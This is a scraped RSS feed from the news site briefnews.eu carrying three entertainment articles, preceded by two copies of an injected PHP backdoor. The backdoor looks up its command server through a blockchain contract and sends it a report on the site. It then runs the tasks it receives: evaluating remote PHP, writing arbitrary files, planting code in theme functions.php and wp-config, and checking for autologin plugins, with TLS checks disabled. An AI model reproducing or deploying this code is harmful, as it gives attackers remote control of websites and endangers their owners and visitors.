// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); humor – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 21 Dec 2019 08:30:47 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png humor – Brief News https://briefnews.eu 32 32 High Fidelity Teaser: Zoë Kravitz Explores Heartbreak and Humor Through Classic Top Five Lists https://briefnews.eu/high-fidelity-teaser-zoe-kravitz-explores-heartbreak-and-humor-through-classic-top-five-lists/ https://briefnews.eu/high-fidelity-teaser-zoe-kravitz-explores-heartbreak-and-humor-through-classic-top-five-lists/#respond Sat, 21 Dec 2019 08:30:47 +0000 http://briefnews.eu/high-fidelity-teaser-zoe-kravitz-explores-heartbreak-and-humor-through-classic-top-five-lists/

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A teaser trailer for Hulu’s High Fidelity finds Zoë Kravitz (Big Little Lies) taking lead on the gender-flipped, 10-episode “departure” from the novel and film of the same name, delivering a helplessly romantic journey through one character’s “desert island, all-time, top five most memorable heartbreaks.”

Releasing all episodes on Friday, Feb. 14, High Fidelity tells the story of Rob (Kravitz), a female record store owner in Crown Heights, Brooklyn, who’s trying to get over her past relationships through the lens of her favorite records and pop culture. In the clip above, Rob recounts the tale of an awkward run-in with her ex, riffing, “You know that scene at the end of Braveheart where they rip all his entrails out and he’s like ‘Freedom!’ but it’s, like, a positive thing, you know, because he like, inspired his people or whatever…? Like that, but without the silver lining.”

In addition to being unlucky in love, Rob, as reminded by coworkers, has a tendency to overthink things. She certainly seems to fit right in with the original movie’s pessimistic-loner vibes topped with dollops of sarcasm. She doesn’t take everything in life seriously, though, as evidenced in her recap of an online review of her store. “‘Decently curated cuts, unpretentious location, owner’s a little rude. Two-and-a-half stars,’” she says with a glint of pleasure in her voice.

Jake Lacy (I’m Dying Up Here) stars opposite of Kravitz along with Da’Vine Joy Randolph, David H. Holmes and Kingsley Ben-Adir.

Nick Hornby initially penned High Fidelity as a novel in 1995. A feature film directed by Stephen Frears followed in 2000, starring John Cusack, Jack Black and Lisa Bonet (Kravitz’s mother).

The series, meanwhile, was penned by Bull‘s Veronica West and Sarah Kuscerka, who serve as EPs alongside Kravitz, Josh Appelbaum, André Nemec, Jeff Pinkner and Scott Rosenberg.

Are you a fan of the beloved Cusack film? How do you think Kravitz will fare? Drop your thoughts below!

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]]> https://briefnews.eu/high-fidelity-teaser-zoe-kravitz-explores-heartbreak-and-humor-through-classic-top-five-lists/feed/ 0 ‘The Predator’ Finds Humor in Alien Mayhem [TIFF] https://briefnews.eu/the-predator-finds-humor-in-alien-mayhem-tiff/ https://briefnews.eu/the-predator-finds-humor-in-alien-mayhem-tiff/#respond Fri, 07 Sep 2018 09:16:37 +0000 http://briefnews.eu/the-predator-finds-humor-in-alien-mayhem-tiff/ The Predator Review

Who knew Predators could be so funny? Shane Black‘s The Predator takes the Predator franchise and turns into a full-blown comedy. Sure, there’s action and sci-fi mayhem. But humor is the most constant factor here. And it doesn’t always work.

While there have been a handful of amusing moments in the Predator franchise as a whole, no single film goes for as many wall-to-wall jokes as Shane Black’s The Predator. Anyone worrying that Black wouldn’t bring his trademark quips and witticisms to the script (the trailers have been considerably light on this element) need worry no more: The Predator is loaded with jokes. In fact, there might be too many jokes. In some respects, The Predator is like the Thor: Ragnarok of the franchise – the film that takes what came before and turns it all into a pretty funny gag. The Predator is so far removed from 1987’s Predator that to compare them would be unfair. I only bring it up here so that we can move on.

The Predator finds a team of rag-tag military misfits joined together to battle everyone’s favorite mandible-sporting alien trophy hunter. At the start of the film, sniper Quinn McKenna (Boyd Holbrook) runs afoul of a Predator ship that crash-lands in the midst of one of his missions. A secret military agency run by Traeger (Sterling K. Brown, stealing every damn scene he’s in) finds out about this and scoops Quinn up. Traeger and his team have been tracking Predators for years. They’ve even gone ahead and officially named them Predators (one of the film’s running jokes involves characters pointing out that “hunter”, not “predator”, would be a better distinction for the creatures). Traeger has also brought in biologist Casey Bracket (Olivia Munn), who goes gaga over the prospect of studying alien DNA.

In a whiplash-inducing opening sequence, Quinn gathers up some discarded Predator gear and mails it to his estranged wife and son. The son, played by Jacob Tremblay, has a form of autism, and is able to quickly figure out all the gadgets and doodads that come along with the Predator tech. Hard to believe? Absolutely. But that’s the kind of film The Predator is. It doesn’t have time to stop and think about any of this stuff. It just wants to get to the mayhem and the jokes. Which is does, rapidly. Black and company did extensive reshoots on The Predator before release, and the end result is a film with zero fat – but that’s not exactly a good thing. The Predator is in a constant rush, to the point where you have to either throw up your hands and go with it, or disengage completely.

The first act is clunky, but things really pick up when Quinn hooks up with a bus full of rejects, all of whom have their own quirks. Trevante Rhodes is prone to chain-smoking and suicidal thoughts; Keegan-Michael Key compensates for his PTSD with jokes; Augusto Aguilera is a Bible nut; Alfie Allen is…well, I’m not really sure what his deal is – he’s just there; and Thomas Jane has Tourette Syndrome. Key gets the most laughs of the group – but through his timing and reaction to things rather than the jokes his character tells, which are rather groan-inducing. Rhodes is incredibly cool and collected; a magnetic screen presence. And while Jane gives his character his all, the way the film constantly plays his Tourettes as schtick gets real old, real fast.

And what of the Predator? It’s here, in all its deadly glory. While the first film kept the creature off-screen for a good portion of the proceedings, The Predator has its beastie front and center for almost the entire film. And it’s not alone – later, a massive mutated Predator shows up as well, along with some Predator dogs – one of which turns out to be kind of cute and cuddly (I’m not kidding).

As for plot, there’s a lot of mumbo-jumbo about gene splicing and evolution, but let’s be honest: it doesn’t matter. You know this, I know this, and The Predator knows this, because it treats all of these developments as afterthoughts. In fact, when The Predator does stop to slow down and dole out some story, it tends to get boring. You can practically sense the characters all checking their respective watches, waiting for this drudgery to end so they can get back to the action.

Black stages that action in a clear, highly-entertaining way. There are spaceship chases, and crashes. There are shootouts galore. Trucks flip in blasts of fire. The Predator’s movements are swift and brutal, and Black revels in the gore. Limbs fly, guts splash, and heads roll. It sounds ghastly, but almost all of the violence is played for laughs. The Predator is no longer a scary unstoppable force. It’s a punchline. There’s also plenty of fan service – at least two classic lines from Predator are repurposed here, to (mostly) amusing effect.

Is this bent towards comedy a problem? Purists (do Predator purists even exist?) might find fault. Some may long for the franchise to return to its serious roots. After you exit the theater into the real world, the flaws of The Predator become more and more apparent. The plot doesn’t make sense. A lot of the jokes fall flat. There’s a pointless sequel set-up. But while you’re watching the movie, it’s hard not to get caught up in all the fun. Black and company are having a blast here, and it’s infectious.

/Film rating: 6.5 out of 10

The post ‘The Predator’ Finds Humor in Alien Mayhem [TIFF] appeared first on /Film.

]]> https://briefnews.eu/the-predator-finds-humor-in-alien-mayhem-tiff/feed/ 0 He's Conquering Latin America With Acid Humor https://briefnews.eu/hes-conquering-latin-america-with-acid-humor/ https://briefnews.eu/hes-conquering-latin-america-with-acid-humor/#respond Fri, 08 Jun 2018 08:55:46 +0000 http://briefnews.eu/hes-conquering-latin-america-with-acid-humor/ As a pro wrestler delivers a blow, the young man whips himself into a frenzy on the couch, cheering the on-screen violence. Then his two dads walk in, and the son flips the channel. “What were you watching?” the father asks. “Me? Glee,” the son replies. “Don’t you love their choreography?” The dads retreat to fret: Is their son … straight? In four minutes of quick-hitting situations, “The World Upside Down” parodies what life would be like if heterosexuality carried the stigma homosexuality does in many cultures, and is just one example of how a merry band of Ecuadorians is flipping Latin America’s comedy scene on its head.

The director of the Enchufe TV sketch comedy empire is Martín Domínguez, a humble yet ambitious 27-year-old Quito resident. Born and raised in Ecuador’s capital, Domínguez knew he wanted to be a storyteller since he was a kid. At 15, he attended a film camp and found his calling. “If I wouldn’t have decided this, I would’ve been a soldier like my dad,” Domínguez says. Some years later, he met Enchufe TV’s founding partners — Leonardo Robalino, Christian Moya and Jorge Ulloa — in film school. They got together to reinvent Ecuador’s audiovisual world but ended up redefining comedy for a new generation.

Domínguez dreams of making films and of becoming the mogul behind “the Disney of Latino digital content.”

They found success targeting everyday situations in Ecuador, which turned out to be strikingly similar to Latin America’s 30-plus countries. Their accents were also an asset. “Ecuadorian” is a neutral Spanish that practically anyone in the region can understand, as it lacks the ornate sounds or expressions of many other regional accents.

“Before we began, people would tell us to do sketches in English or in a Mexican accent to be successful,” Domínguez says, as Mexican Spanish dominates TV and movies in the region. “But our objective was to make comedy that would reach the people.” They released their first video in November 2011, “The Worst Casting,” a clever three-minute skewering of aspiring actors. It quickly took off, and before Domínguez knew it, they had conquered Colombia and began headlining hundreds of thousands of Mexican and Peruvian computer screens. Viacom’s Comedy Central Latin America started airing their content across the region in 2016 and even dubbed sketches into Brazilian Portuguese, the first Ecuadorian product to be dubbed, according to Domínguez.

The core fans are people between ages 15 and 25 who personally relate to the sketches mocking social norms and taboos. Today, Enchufe TV has more views on YouTube than the BBC, Lady Gaga or Nicki Minaj channels, and its 17 million subscribers are more than BuzzFeedVideo or VEVO. Bits including “[Girl] Super Champions,” “Condom Buyer” and “Types of Students” have been viewed tens of millions of times.

